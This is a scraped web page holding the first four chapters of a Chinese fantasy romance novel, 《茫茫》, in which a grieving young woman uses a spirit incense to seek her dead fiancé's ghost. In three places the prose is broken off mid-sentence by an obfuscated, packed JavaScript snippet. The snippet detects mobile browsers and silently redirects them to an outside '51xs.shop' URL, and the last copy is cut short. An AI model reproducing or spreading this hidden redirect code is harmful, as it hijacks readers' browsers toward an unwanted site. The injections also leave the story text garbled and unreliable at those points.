《茫茫》 1. 第 1 章 生碌碌 书生走在关外古道上。 朔风呼啸,裹着浓重的铁锈味儿席卷而来,将书生掼了个趔趄。 儒巾被刮落,书生逆风去追。狂风呼啸,吹得书生如风中残叶,摇摇欲坠。 书生奋力追至山谷深处,却听脚下传来清脆的骨头断裂声。他猛地低头,只见脚下朽骨成堆,延绵百里,一望无际。 周遭鸮啼鬼啸,飞沙走砾,书生双膝一软,瘫倒在地,掌心正好按在身侧朽败的枯骨上。 朽骨长年风吹日晒,一碰便碎了。风一吹,碎骨洋洋洒洒,沾了书生满身。 书生倏然脸色煞白,神情恍惚间,只见漫天尘土飞扬,前方黑影憧憧,数万将士手持刀枪兵盾,叫嚣着向他扑来。 战马嘶鸣,兵戈碰撞之声不绝于耳。山呼海啸,大地震动之力摧枯拉朽。 书生冷汗涔涔,动弹不得,绝望地闭上双眼。 忽然,远处传来悠长小调,那声音由远及近,悠远绵长。 书生下意识睁眼,却见千军万马早已消失不见。 朔风不知什么时候停了,一只枯瘦又皱巴的手轻轻按在了书生肩膀。白色道袍袖口划过书生侧脸,将他神思拉回。 “小友。” 白衣道人拍了拍他肩膀,示意他回神,“小友往何处去?怎么行至此处?” 书生神色慌乱,踉跄站起,腿还在发软,久久回不过神来。 “仙……仙长……” 书生惊魂未定,声音颤抖:“小生往长安去,马……马上就是春……春闱……” 道人微微眯眼,踩着脚下泛紫的土地,笑道:“身既死兮神以灵,魂魄毅兮为鬼雄。小友,你这是走到古战场。埋骨之地煞气本就极重,前不久又来了一批新魂,正是煞气最重时,小友这是无意间冲撞了他们。” 他又指了指远处山峰:“小友若是往长安去,应当往上走。” 书生抬头,隐约看到远处山路上,重峦叠嶂间,似有商队经过,仔细听,仿佛还能听到哒哒马蹄与晃动的铃铛。 书生恍然大悟,连忙拜谢,忍不住问:“不知仙长往何处去?” 道长言:“去收尸。” 刚刚从惊吓中回神的书生又被吓成了结巴,“收……收尸?” 道人哈哈大笑,抬眼看了看日头,懊恼地一拍额头。 苍老的手与年轻的容貌格格不入,他自言自语道:“耽误了耽误了,周云青尸身可要被野狼吃了!” 书生瞪大双眼,还不及细问,就见这人风也似地向前奔去,一边跑还一边冲他挥手告别。 “仙长?仙长!”书生踮脚伸手,眨眼工夫,就再看不到道长的影子。 书生瞠目,悻悻然收回手。 此时又一阵风刮过,一方白帕飘飘然落在他手中。 白帕上面墨迹未干,书生定睛一看,却见上面密密麻麻写着一段话:生碌碌,死茫茫,槐安一枕梦黄粱,三皇五帝归何处,历代公卿在哪方,但看青史上,谁能免无常…… - 还是没有下雨。 正是六月底,桥妧枝午睡的小阁楼临近长巷位置高,天太热,又前无遮挡,白日便只能紧闭门窗。 外面树影婆娑,阳光从窗缝中泄进来,投下细窄的光影。 “桥妧枝!” “桥脉脉!!!” “桥——” 话音未落,只听啪得一声,窗户撞到墙上,弹了个来回。 桥妧枝睡眼惺忪,蹬上云履小跑着探出脑袋张望。 窗一开,树下少年动作利落地跃至窗前,仅凭一只手撑在窗沿,削瘦挺拔的身姿微微绷直,替尚且懵懵然的少女挡住屋外烈阳。 睡梦中突然被吵醒,少女发丝凌乱,有些汗湿的贴在脸上,还未回过神来。 “桥脉脉。”沈寄时摸了摸胸前衣襟,故作神秘地问:“猜猜给你带了什么?” 桥妧枝神思混沌,只觉得周遭有些不真切。 沈寄时却已兴冲冲扒开衣裳,露出瑟缩在身前的一团绵软,不由分说塞进少女怀中。 “我和我爹在山上射箭,发现了一窝猫崽儿。”少年漫不经心地扫了一眼在她怀中发抖的花狸,邀功似地说:“就一只活的,看它娇憨可爱,带回来给你解解闷。” 可是你爹不是早就已经死了吗? 桥挽枝抱住小狸猫,心不在焉地顺着猫毛,觉得有些不对劲。 可不是不对劲嘛,沈寄时的爹都死了八年了,被东胡人一箭穿心,大罗神仙都救不回来。 “你爹不是死了吗?”她含糊问着,只觉得思绪更加浑沌了。 等了许久没有听到少年回话,桥妧枝眼皮一跳,再抬头,眼前空空如也,刚刚还在为她挡阳光的少年不知什么时候不见了。 强烈的阳光照得双眸酸涩,桥妧枝心一紧,将花狸丢开,扒着窗沿叫沈寄时的名字。 少女音调温婉,却带着急促,声音回荡在空无一人街道上,孤寂又荒凉。 叫了好一会儿不见回音,桥妧枝彻底慌了。 “沈寄时,你爹没死,活得好好的,我说错了还不行吗?” 她急得团团转,扒着窗沿久久不愿离开。 “卿卿。” 熟悉的声音自身后响起,桥妧枝欣喜回头,骤然怔愣在原地。 周遭陷入黑暗,浓郁的血腥味儿弥漫四周,桥妧枝瞳孔微缩,不可抑制地开始发抖。 “卿卿……卿卿……” 止危枪重重抵在地上,弯成了不可思议的弧度,拼尽全力支撑着少年沉重的身躯。 沈寄时握着插在胸前的数十支箭矢,鲜血源源不断从他嘴角溢出,顺着下颌染红了胸前甲胄。 桥妧枝瞬间僵直,只觉得全身都在疼。 清风刮开窗户,掀起纱帐,少女青丝随风微动,缓缓睁开红肿的双眸。 月朗星稀,热浪滚滚。 少女惊醒后抱膝坐在禅椅上发呆,透过敞开的窗子,依稀能看到因为干旱而蔫了的合欢树。 已是六月底,合欢花都开了,长安百姓却始终没等来一场雨水。 自今年春日始,长安已经数月未有大雨,百姓怨声载道。 前不久,市井中传出流言,说是圣人失德,此为天罚。这传言来势汹汹,一时之间,各种猜测喧嚣尘上。 流言传到宫中,圣人震怒,当即派了禁军镇压,这才勉强将流言按下去。 只是好景不长,没多久,传言再次喧嚣尘上,天怒人怨,若再不下雨,难以堵住天下悠悠众口。 于是圣人命钦天监监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460517|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正周清尘作坛祈雨,可一连祈了几日,始终没有成效。 天将明,丫鬟郁荷蹑手蹑脚进来,未曾注意到帘后的桥妧枝,小心翼翼将窗户合上。 满树合欢被隔绝在外,她终于小小松了口气。只是这口气还未完全落下,甫一转身,当即愣在原地。 重重轻纱后,少女窝在禅椅上,怀中抱着一只酣睡的狸猫,正静静看她。 “女郎!” 郁荷神情微凝,看到她眼尾绯红,心疼道:“女郎何时醒的,怎么不多睡会儿?” 桥妧枝眨了眨眼,嗡声道:“夜里多梦,睡不着。” 郁荷叹了口气,“女郎可是做了噩梦?梦见了什么?” “梦见……” 桥妧枝顺了顺狸花猫柔软的毛,敛眸道:“醒得太快,忘记了,梦中事,总归做不得真。” 郁荷没拆穿,上前将帘帐拉开。 熹微照到桥妧枝身上,她微微眯眼,问:“今天是什么日子?” 郁荷道:“已是六月二十七。” 说完,郁荷突然心头一跳,再过几日,就是沈小将军的忌日了。 她看向桥妧枝,勉强换上轻松的神色,一边整理桌案一边道:“女郎应当多出去转转,沈小将军泉下有知,也不愿见女郎一直闷着自己。” 听她提起沈寄时,桥妧枝又想起了昨夜的梦,呼吸轻了几分。 郁荷没察觉,将灯点亮,手脚麻利地整理桌案上的笔墨宣纸。 桌案上多了几封刚写好的书信,郁荷当做没看见,道:“女郎房中宣纸又不多了,一会儿奴婢再叫人送来些。” 桥妧枝低低嗯了一声。 没人再吭腔,屋内气氛莫名有些沉闷。 桥妧枝放开怀中小狸,随手从小山似的一摞里抽出一本书。 屋内静悄悄,只有郁荷打扰时发出的细微声响。桥妧枝倚在禅椅上翻开书页,看得心不在焉。 是长安书坊中最常见的志怪故事,并没有她要找的东西。她一目十行扫过,正想换一本,可翻至最后一页,不由得目光微顿。 “《大荒记》言:南海有香草,名为青女,扰生死,乱轮回,燃之可见故人。” 故人二字,撰书之人落笔极重,墨迹力透纸背。 桥妧枝目光久久定在这一行字上,没什么反应。长安书坊中的那些书大多都是无稽之谈,她试过许多招魂办法,无一例外,都是假的,这个看起来也没有多真,毕竟青女香她闻所未闻。 可,总要试一试的…… 良久,她回神,翻到书封,看到著书之人的名字——周云青。 桥妧枝眨了眨眼,以为自己看错了,竟是钦天监监正周云青? 郁荷将桌案上的宣纸整理好,转身见她发呆,开口唤她:“女郎!女郎?” 桥挽枝回神,下意识抓紧书页,偏头问:“怎么了?” “桌案已经整理好,若是没有别的吩咐,奴婢就先退下了。” 桥妧枝下意识点头,随即又反应过来,连忙道:“钦天监的周大人今日还是在城门前作坛祈求雨吗?” 郁荷惊讶,讷讷道:“女郎不知道吗?” “什么?” “钦天监的周大人死了,就在昨日,尸身已经被丢在了乱葬岗。” 2. 第 2 章 承平二十八年六月廿六,时逢破日,亦是钦天监监正周云青作坛祈雨的第七日。 那一日,碧空万里无云,接近午时,忽有狂风刮过,乌云蔽日。长安百姓驻足仰头,等了许久,最终还是失望了。 终究还是没有落雨,监正仰头望天,孤坐许久,傍晚便换了朝服面圣。 年过花甲的监正匍匐阶下,掷地有声:“国库空虚,忠臣横死,佞臣当道,七万英魂埋骨浮屠峪,百姓民不聊生,陛下,这是天罚!” 圣人暴怒,赏了监正七十廷杖。监正年过花甲,打到第三十下,吐血而亡。 没人发话,小太监们就不敢停,硬生生将七十廷杖一个不落的打完了。 血肉横飞,鲜血顺着石阶蜿蜒而下,白布一盖,前一日还风头无两的监正大人,今日尸身就被丢在了乱葬岗。 桥妧枝赶到兴宁坊尽头时,周府的牌匾正被摘下。 府中下人背着包袱四散奔逃,屋里的东西被禁军抬出,她望了一眼,只一个不大的木箱,钱财甚少,大多都是些书籍。 桥妧枝看着那些书,久久移不开目光。 周围看热闹的人太多,禁军出入往来,没人注意到她。她下意识跟着那箱书走,只是刚迈出两步,身后却有人唤她。 桥妧枝回头,被铁甲反射而来的光闪了眼。她指尖微动,努力睁大眸子,忍着酸涩去看出声之人。 那人越走越近,桥妧枝很快回过神来,行礼道:“十二皇子。” 李御摆了摆手,低头看着消瘦了许多的少女,欲言又止,种种思绪最终只化为一句:“你怎么在这里?” 桥妧枝与他隔着一段距离,搪塞道:“来看看……” 李御不在意她的敷衍,不动声色挡住她,压低声音道:“周大人触怒天颜,朝中无人敢多言,还是快些回去。” 点到为止,不必多言。 他说完,匆匆越过她要走。 桥妧枝犹豫了一瞬,下定决心,向前追了两步:“等等!” 李御回头,有些诧异。 桥妧枝问:“那些书,要被送去哪里?” “烧了。” “烧了?”桥妧枝怔然。 李御看着她不说话,算是默认。 桥妧枝抿了抿有些干涩的唇,低声道:“总归都要烧了,能不能送到我府上.......” 声音越来越小...... 李御:“......” 周大人的书很多,负责抄家的十二皇子睁一只眼闭一只眼,那半箱子书就神不知鬼不觉从周府送到了桥妧枝的阁楼上。 拿人手短,况且桥妧枝只与那位周大人有几面之缘,人家毕生心血就这么进了她手中,她总是不太安心。 那位周大人无妻无子,也不知是哪里人,死后无人收尸。桥妧枝差人去了一趟乱葬岗,花银子雇了几个人,将周大人的尸身从尸山里拖出来立了个简单的冢,算是为他料理了身后事。 之后数日,桥妧枝将自己闷在屋内将那箱书翻了又翻,可却再也没有看到与青女香有关的消息。 最后一本书看到结尾,桥妧枝合上书,垂眸发了好一会儿呆。 终归还是有些不甘心,可似乎一切都已经尘埃落定。青女香兴许只是周大人的杜撰,世上根本就没有,毕竟所谓招魂,即便是汉武帝都做不到。 她幽幽叹了口气,将装书的箱子缓缓合上。铜锁咔哒一声落下,身后烛火发出轻轻的爆破声。 桥妧枝歪头,隐约间看到烛光处立着一道模糊的影子。 她怔愣一瞬,张了张嘴,想要叫他名字,可再眨眼时,人影荡然无存。 良久,她低笑出声。 * 桥妧枝知道自己病了,时隔一年,她再次见到了沈寄时,或者说,是看到了有关沈寄时的幻觉。 一连数日,不论白天还是夜晚,她总能猝不及防看到“他”。 白日里,她坐在窗边誊写,透过窗户,能看到少年于树下练剑。少年身姿矫捷,手腕反转间衣袍翻飞,合欢花簌簌落下,落在他束起的长发上,仿佛簪了满头红花。 傍晚时,她在灯下叠元宝,沈寄时便坐在她对面,一边擦着止危枪,一边神采飞扬与她讲笑话。 桥妧枝侧耳听着,手中动作不停,却偶尔弯起眉眼,被逗得扑哧笑出声。 少年见她笑了,眉梢眼底皆是笑意。 只是幻象终究是幻象,将最后一只元宝叠好时候,她再次抬头,身边的椅子已经变得空荡荡。 桥妧枝抿唇,起身推门而出。 守在门外的郁荷接过她手中篮子,小声道:“时候还早,女郎用了晚膳再去吧,夫人在膳厅等您。” 桥妧枝没拒绝,转身去了膳房。 今日是七月十四,长安灯火彻夜不熄,静待子时中元,逝者归家。长安百姓夜间放河灯,燃篝火,或为之烧去所需之物,以寄思念。 往年这一日,沈寄时会纵马去城外祭祖,祭告亡父,桥妧枝会去闹市放河灯,看着自己的祈福河灯越飘越远,保佑他们都得先祖蒙阴。 只是那时候,他们谁也没有想到,七月十五这一日,也会成为沈寄时的忌日。 桥母将炸的金黄酥脆的茄饼夹到她碗中,温声道:“夜里寒凉,早些回来。” 桥妧枝乖巧点头,目光游移间,又看到了不知什么时候出现在身侧的“沈寄时”。 桥母又道:“今夜虽热闹,但子时就是中元节,天下不太平,街上人多,莫要出了兴宁坊。” 桥妧枝又是点头,心满意足将酥脆的茄饼吃下。 桥母欲言又止,最终只是将白日里买来的鸡冠花放进她早就准备好的篮子里。 桥妧枝撂下筷子时,身侧的沈寄时又不见了。 她神色不变,收回目光,拿起篮子,回身对桥母道:“阿娘,我去给沈寄时烧纸了。” 桥母立在门前,笑着点了点头。 门关上的瞬间,桥母神色一凛,对身侧嬷嬷道:“你去寻老爷,让他去太医署请个太医回来,不要声张。” - 日落西山,暮色幽幽。 长安城内鬼影幢幢,河灯从护城河上顺流而下。 往日热闹的街道行人无几,只隐约能听到些低语声。 漫天明灯悠然腾空,又是一年中元日。 桥妧枝蹲在拐角处,用火折子点燃折好的金元宝,失神片刻,低声道:“沈寄时,我来给你烧纸了。” 这些元宝都是她白日亲自折出来的,折了整整一日,手上起了一层薄茧,隐隐作痛。 眼看着金箔纸制成的元宝慢慢燃烧殆尽,她又将白日从一品酥买的红枣糕工整摆好,这才转头去点周大人的火盆。 拿了人家的心血,终究有些过意不去,只是她精力有限,和沈寄时那堆成小山似的元宝相比,周大人这里就显得有些寒酸。 明火投下,火光映在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460518|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上,余灰四起,分外灼热,桥妧枝眨了眨眼,下意识偏头避开。掐在此时,余光扫过属于沈寄时的祭品,少女眸光微凝,险些以为自己看错了。 一包红枣酥有六块,她未曾碰,如今竟凭空消失了一块。 桥妧枝睁大眸子,猛地站起,急急环顾四周。 夜风徐徐,火星分散落于她杏色长衫,很快归于暗淡。偶尔有啼哭声顺着清风飘来,那是生者在悼念亡故之人,她的周围,无人亦无鬼。 桥妧枝缓缓垂眸,看着地上的红枣酥,神色黯淡。 盆中的元宝即将被燃烧殆尽时,一只形如枯槁的手突然闯进视线,堂而皇之拿走两块红枣糕。 桥妧枝猛地抬头,只见一白衣道人立在身前,嘴角还挂着红枣糕的碎屑。 “福生无量,多谢女郎款待。”道士说完,将最后一点红枣酥塞进口中。 “……”桥妧枝心头一塞,定定看了他好一会儿。 道士不觉自己拿死人东西有什么不对,吃得格外享受,甚至眉飞色舞对她道:“这长安的糕点就是比我们上清山的好吃,怪不得行周的不愿回去。” 桥妧枝扯了扯嘴角,转身将周大人的那一份也递给他。 道士诧异:“女郎不生气?” 周遭光亮暗了一些,桥妧枝蹲下,一边收拾残局一边道:“本就是给人吃的。” 鬼吃不了,总不能丢了。 她没说后半句。 道士啧啧两声,上前挑剔,“你这样烧纸不对。” 他拿石笔画了个圈,“要在这里面烧,不然孤魂野鬼会来抢,你祭奠的人收不到。” “孤魂野鬼打不过他。” 桥妧枝头也不抬,将鸡冠花放进篮子里,语气笃定。 沈寄时那么凶,怎么可能会被抢走东西。 道士喔了一声,问:“女郎要不要算一卦?” 桥妧枝头也不抬,没搭腔,手下动作不停。 道士又说:“不要钱,姻缘、子孙、今后福禄,趋吉避凶,都行。姑娘云英未嫁之身,不想知道自己的正缘吗?” “再不济,我这里有辟邪符。” 道士从袖子里掏出一连串黄纸,见她不为所动,咬了咬牙,又从鞋子里掏出一串手珠:“还有辟邪珠,戴上之后,鬼怪不敢近身,哪怕是离魂进了阴曹地府,也能平安回来。” 桥妧枝拍了拍裙摆上的余灰,起身就走。 “哎?”道士急了,跟在她身后道:“上清山不入世,不把周云青的敛尸债还了,小道回不去!小道把辟邪符给你,就当还了债!” 桥妧枝脚步一顿,突然回头,确认道:“周云青?钦天监的周大人?” 道士松了口气,掏出符篆就要往她身上贴,笑眯眯道:“周云青是小道师弟,前不久小道喝多了,误了给他敛尸的时辰,多亏了女郎心善,要不然他那点肉身就要入了豺狼虎豹的五脏庙。不想要符篆也可,小道还能给女郎算几卦,童叟无欺。” 桥妧枝躲开他的符篆,突然说:“长安城算命先生一次只需要十文钱,他们的符纸三十文能买一大摞。” “那能一样吗?”道士没好气儿。 桥妧枝不吭声。 道士讪讪:“那.....一卦加上辟邪符再加上辟邪珠?” 桥妧枝将剩下的红枣酥都给他,深吸一口气,“这些我都不要,我只想问,道长可有青女香……” 道士一僵,脸色垮了下来。 3. 第 3 章 前半夜,突然下起了微雨。 桥妧枝撑伞回来时,桥母已经在门前站了许久。 孟秋时节,细雨如丝。 夜幕间起了一层轻雾,雨水如崩落的珠子打在裙摆,带起丝丝凉意。 桥母跨过门槛,快步上前,一把握住桥妧枝有些冰凉的手,温声道:“怎么回来的这样晚?” 已是亥时,长街上空荡荡。 桥妧枝低声解释:“我去看河灯,一时忘了时间。” 声音很轻,似是怕惊扰过路的游魂。 桥母温柔笑笑,没再多言,替她将半湿的发丝别到耳后,拉着她往门内走。 微风细雨,纸伞微倾,雨水顺着伞面滑落,濯湿了少女肩头衣衫。 檀香混杂着暑热潮湿之气盈溢在四面八方,正堂内,中气十足的交谈声渐渐传来,格外清晰。 桥母解释:“是太医署的张大人。” 桥妧枝微微侧头,似有不解:“娘亲身子可是哪里不适?” 桥母摇头,将伞递给跟在身后的郁荷,拉着她进了正堂。 交谈声戛然而止,桥大人起身,示意桥妧枝过去。 桥妧枝顿了顿,缓步上前。 短暂寒暄过后,大堂便安静下来。避雨的雀鸟立在屋檐,名叫之音声声入耳,扰人心神。 桥妧枝左手搭在脉枕上,目光落在屋檐下摇晃的灯笼上。 合欢花被夜风吹落,有几个黏在灯笼上,远远看起,仿佛文人墨客最喜欢的写意画。 “脉象细弦而涩。” 骤然响起的声音拉回思绪。 张大人收回手,笑道:“老夫一会儿写一张方子,服下便能缓解。时辰不早了,贤侄女体弱,还是先行回去休息吧。” 桥妧枝眸光流转,抬头看向桥父桥母。 桥大人点点头,上前将张太医请去一旁说话。 桥妧枝起身,回头看去,烛光绰绰,父亲与张大人低声交谈,母亲则在一旁听得仔细。 她收回目光,在郁荷的陪伴下,转身迈入夜色。 郁荷端着汤药进来时,正是三更天。 甘苦的味道一路飘来,充斥到每个角落。 潇潇雨歇,屋内潮湿又闷热。 郁荷将药放下,一边开窗一边道:“夫人叮嘱女郎趁热喝,张太医说,喝药后会有些嗜睡,让女郎不必担心,喝一段时间就好了。” 说完,她将窗台上的合欢花扫落,余光却瞥向床榻方向。 张太医没有说太多,桥妧枝却能猜到大概。 她并不抵触,低头嗅了嗅,没有犹豫,将药汁一饮而尽。 腥苦的味道在口腔中漫延,她只轻轻蹙眉,静静等着那股不适褪去。 夜风吹动桌案上的宣纸,桥妧枝眨了眨眼,坐在书案前的“沈寄时”便不见了。她眸子微颤,明白母亲大概猜到了什么。 郁荷上前将药盅收走,低声道:“夜深了,女郎早些睡,切莫贪凉。” 屋门从外轻轻合上,桥妧枝静了一会儿,从袖内拿出一支短香。 烛火摇曳,点燃的瞬间,周围雾气弥散。 — 血月高悬,万木林立。 城门前的鬼将挨个盘查进城的过所,鬼魂从城门排到了黄泉路。 桥妧枝站在不远处,目不转睛地看着那些排队的游魂。 道士气喘吁吁跑过来,没有多言,掐起她手腕关节,风风火火将人拽到了酆都门前。 “胥道长,今日又有公务?”守城的鬼将与他寒暄,摄人的目光却落在一旁的桥妧枝身上。 生魂下阴倒不罕见,只是眼前人竟一点不怕,实在稀奇。 胥无渡干笑,与那鬼将寒暄两句,匆匆带着人往里走。 桥妧枝一言不发跟在道长身后,忍不住频频回头。 胥无渡解释:“人间战乱,来酆都的鬼魂太多,以前都是不用排队的。” 盛世转衰,战乱纷起,人间鬼气森森,何况黄泉。 桥妧枝若有所思收回目光,看向城内。 亭台楼阁映入眼帘,酒馆茶肆宾朋满座,似与人世别无二致。 “莫要与人搭话,便是见到熟人,也不要出声。”胥无渡带她往前走,捏着鼻子道:“等你和那人见了面,这人情就算还了。” 桥妧枝点点头,没出声,同意了, 胥无渡放下心,沿着长街一直走,最终停在一处没有牌匾的小楼前。 “进去之后便能说话了,人间快天亮了,抓紧时间。” 言罢,他先一步跨阶而上。 桥妧枝没犹豫,连忙跟上去。 里面空荡,只有个白头发的老妪正在和掌柜说话。 “昨日就死了。”掌柜打开书,指着上面一处道:“正在黄泉路上排队,明日便能进酆都,你赶早去接人。” 白头老妪顿时喜笑颜开,付了钱,当着桥妧枝的面儿飘走了。 胥无渡推了她一把,低声道:“快去!” 桥妧枝往前两步,对上掌柜冷漠又毫无生气的目光,脚步一僵。 鬼之所以是鬼,就是因为少了那股人气儿。之前她不怕,是因为黄泉酆都的游魂虽已死,可一眼看过去,与生人没有太大不同。 眼前这个掌柜不一样,他面色惨白,鬼气森然,看过来时,如同一具会动的尸体。 见她不动,胥无渡急了,低声道:“说好了见一面就不要青女香,现在反悔可来不及了。” 桥妧枝抿唇,正要说话,却听掌柜幽幽开口:“寻人还是寻物?” 桥妧枝连忙道:“寻人。” 掌柜又问:“姓什名谁?祖籍何处?何时死的?死在何处?” 桥妧枝一一应答:“沈寄时,字危止,祖籍冀州。承平二十八年七月十四,死在浮屠峪……他如今,可在酆都城?” “既是去年七月死的,如今应当在城内。”掌柜一边说,一边翻动书页。 桥妧枝眼睛一眨不眨,双手紧紧扒着桌沿。 良久,掌柜皱眉:“怎么没有?” 他抬头:“叫沈寄时的没有十个也有八个,你确定没说错?” “没有!”桥妧枝飞快回道。 意识到什么,她声线有些不稳,“他祖籍冀州,可久住长安,去世时刚刚二十岁,还不及弱冠……” “确实没有。”掌柜将书合上,空洞的眸子看向她,格外无情:“既没寻到,只需一个元宝。” 桥妧枝怔然:“没寻到?” 掌柜惨白的脸上浮起一抹冷笑:“孤魂野鬼不入酆都,魂飞魄散者更无迹可循,又不是所有都能寻到,一个元宝。” 胥无渡傻眼,还想说什么,却见掌柜猛地抬眼,大片眼白下,瞳孔缓慢转动竟渗出血,他声音越发飘渺,重复着:“一个元宝,放这里。” 胥无渡脸色不好,摸进袖口拿钱。 桥妧枝先他一步,拿出一个金灿灿的纸元宝。 是她昨日烧纸时剩下的,一直带在身上。 掌柜接过,一言不发将纸元宝放进钱匣,慢悠悠低头,无声催他们离开。 两人从小楼出来,酆都长街仿佛又热闹了些。 城门口源源不断地往内放鬼,一眼望去,长街竟有些拥挤。 胥无渡仰头,唉声叹气。 这结果实在是出人意料,死了一年的人竟不在酆都。所以……是成了孤魂野鬼,还是…… 不敢再想,他打了个颤,一转头,却见跟在身后的少女不知何时蹲在了地上。 她头埋得很低,一动不动,长发垂在两侧,遮掩了大半张脸。 胥无渡愣了一下,不知为何突然想起三十多年前,周师弟好像从山上带回过一只山狸。彼时正值盛世,上清山上来来往往,香客如云,那只山狸偶尔被路过香客欺负了,便会缩在观前的石头上,一动不动待上一整日。那时候,他们师兄弟总要去山下买上吃食,才能将那小狸哄下来。 前尘旧事,过眼云烟。 他叹了口气,语气仿佛一瞬间苍老了许多。 “女郎非要与那人见一面?” 再也没有什么比有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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纤细的指尖搭在郁荷手腕,少女低声询问:“今日,还是七月十五吗?” 郁荷诧异:“女郎当真是睡迷糊了,自然还是七月十五,难不成睡一觉就过了几个月不成?” “父亲母亲呢?” “老爷夫人去城外祭祖了,要晚些回来,离开时,特地叮嘱女郎,若是醒来就去吃些东西。” 郁荷探了探她的额头,问:“女郎可是还有哪里不舒服?张太医开的药还在温着,奴婢给您端过来。” 桥妧枝摇摇头,低声道:“郁荷姐姐,不必麻烦。今日中元节,你早些休息,这里不需要人了。” 如今世道,谁没有过世亲眷,郁荷犹豫了一下,低声道:“那奴婢去去就回。” 门被轻轻关上,桥妧枝低头,床榻旁,是一只看起来有些简陋的香盒。 - 夜深深,长安城内格外安静,若是静下来仔细听,还能听到远处随风飘来的呜咽啜泣声。 桥府后院暗香沉沉,人影攒动。 桥妧枝立在合欢树下,周身泛起一层白雾。 纷乱的脚步声如影随形,在庭院中响起,可若有人放眼望去,便能看到合欢树下仅立着一杏衫少女。 白雾上升至指尖,桥妧枝手腕轻动,强行将心底恐惧压下去。 月影西移,青女香飘散出的白雾沾染上她的肩头。香气越发浓郁,她轻轻闭上眼,再次睁开时,眼前场景天翻地覆。 青女香经久不散,沾身可见鬼魅。 百鬼夜行,周遭聚集着数不清的孤魂野鬼。它们于尘世间浑浑噩噩游荡,目光空洞,无视世间生人,跌跌撞撞穿过墙壁树木,漫无目的地往前走。 桥妧枝长睫微颤,将写有沈寄时生辰八字的字条点燃。 夜风吹走字条焚烧出的灰烬,飘的很远,仿佛能从长安越过重重山海,飘向关外。 字条焚烧殆尽的刹那,前方白雾蒸腾。 桥妧枝抬眸,只见白雾间隐约显现出一道熟悉的身影。 月光下白雾渐淡,男子的身形轮廓越发鲜明。 桥妧枝指尖一松,怔怔看着他的背影。 见他一直不回头,她鼻尖酸涩,跺脚急道:“沈寄时,你去哪儿了?我找了你好久!” 那不甚清晰的影子动作一顿,在月色下缓缓回头。 4. 第 4 章 暗香浮动,诸天繁星映在人间,照亮了桥妧枝血色尽褪,惨白如雪的一张脸。 青女香燃尽,孤魂野鬼随之退却,偌大的庭院内,只剩相对而立的一人一鬼。 这是一张与沈寄时截然不同的脸。 火光映衬下,他的五官稍显寡淡,身形与沈寄时很像,却没有半分小将军身上与生俱来的凌厉与张扬,反而有些散漫。 桥妧枝僵在原地,本能地看向他身后。 那里空无一物,没有沈寄时。 男子似是看出她的情绪,手中折扇一开,遮住半张脸,俯身凑到她跟前。 眼前人身形高大,宽肩窄腰,与她距离极近,近到仿佛能听到彼此呼吸声。 月华倾斜而下,只在庭中隐约照出少女单薄又孤独的影子。 桥妧枝浑身僵直,许久才寻回自己的声音,嗫嚅道:“这位郎君是不是走错了路,我寻之人,名唤沈寄时,郎君来时,可有看到一个身量很高,年过弱冠的郎君?” 她尽量扯出一个笑容,只是唇角刚刚提起,又缓缓僵住。 面前男子目光依旧定在她脸上,回道:“来时路上未曾见到旁人,倒是在下,的确名唤沈寄时。” 桥妧枝身形一晃,突然想到在酆都时那个鬼掌柜所言——沈寄时这个名字,没有十个也有八个。 她看向地上的铜盆,写有生辰八字的字条早就已经化成灰。她突然有些不确定,自己是不是写错了沈寄时的生辰八字。 似是看出她心中所想,男子双眸微眯,主动开口:“某出身平州商贾之家,承平八年六月六日寅时生,三年前,来长安的路上偶遇山匪,身死异乡,肉身葬于兽口。” 他说完,一点一点收起折扇,叹道:“天妒英才。” 他每说一个字,桥妧枝心就愈发沉一分。她只觉指尖一片冰凉,七月的夜风也同冬日一样,冷进了骨子里。 她声音很轻很缓地重复了一遍:“承平八年六月六日寅时?” “是这个时辰。” 这一切似乎太荒诞了些。 承平八年六月六日寅时,正是沈寄时的八字。 月影西移,庭院中树影婆娑,与少女的影子交错相映。 桥妧枝看了他好一会儿,突然转身跑进屋内。 庭院空寂,男子笑意淡去,悠悠仰头,望向落在檐角的明月。 身侧突然传来细微的呜咽声,男子偏头,却见狸奴不知何时从屋内跑了出来,尾巴高高翘起妄图贴在他身上。 眉梢微扬,他没动,眼睁睁看着狸猫扑了个空,在地上匍匐了一小段距离。 小狸奴懵了一瞬,待反应过来,当即恼了,冲着他喵喵直叫。 男子嗤笑一声,一侧身,看到去而复返的少女正立在屋檐下看他。 他神色微敛,低笑道:“女郎家的狸奴倒是很亲人。” 桥妧枝敛眸,没有说话,快步走到铜盆前,抖着手用火折子点了一把火。 跳动的火光映在她雪白的脸上,衬的她面容不甚清晰。 男子神色微敛,遥遥看着,不自觉有些出神。 桥妧枝蹲在铜盆旁,拿出一张新的字条,上面字迹有些紊乱,不仅写了沈寄时的名与字,还详细写了生辰何时,殁于何日,祖籍何处。 总之,能写的都写了,就算当真有巧合,这次一定不会再有差错了。 字条很快被火光吞噬,桥妧枝一动不动静静等着,可等了许久,庭院依旧,只有清风明月与树影,以及眼前这一人一鬼一小狸。 